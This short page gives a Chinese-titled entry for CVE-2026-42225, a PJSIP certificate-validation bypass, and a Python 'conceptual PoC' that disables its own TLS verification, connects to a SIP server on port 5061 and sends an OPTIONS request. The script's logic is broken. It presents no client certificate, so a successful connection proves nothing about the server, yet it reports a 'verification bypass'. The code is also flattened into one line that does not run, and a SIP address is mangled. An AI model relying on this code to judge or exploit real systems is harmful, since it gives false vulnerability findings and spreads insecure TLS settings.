CVE-2026-42225 PJSIP证书验证绕过漏洞

/* * Conceptual PoC for PJSIP Certificate Validation Bypass * This script attempts to connect to a PJSIP server using a self-signed certificate. * If the connection succeeds despite strict server verification settings, the vulnerability is confirmed. */ import socket import ssl # Target PJSIP Server (Example) HOST = '192.168.1.100' PORT = 5061 # Create a socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Wrap socket with SSL using a self-signed certificate (untrusted) context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Simulating attacker using invalid cert try: # In a real exploit, the attacker acts as a server or client depending on the scenario # If acting as a client connecting to a vulnerable PJSIP server: ssl_sock = context.wrap_socket(sock, server_hostname=HOST) ssl_sock.connect((HOST, PORT)) print("[+] Connection established. Verification bypass possible.") # Send a simple SIP request to check if accepted request = "OPTIONS sip:[email protected] SIP/2.0\r\nVia: SIP/2.0/TLS 192.168.1.200:5061\r\n\r\n" ssl_sock.send(request.encode()) response = ssl_sock.recv(1024) print(f"[+] Server Response: {response.decode()}") except Exception as e: print(f"[-] Connection failed or rejected: {e}") finally: sock.close()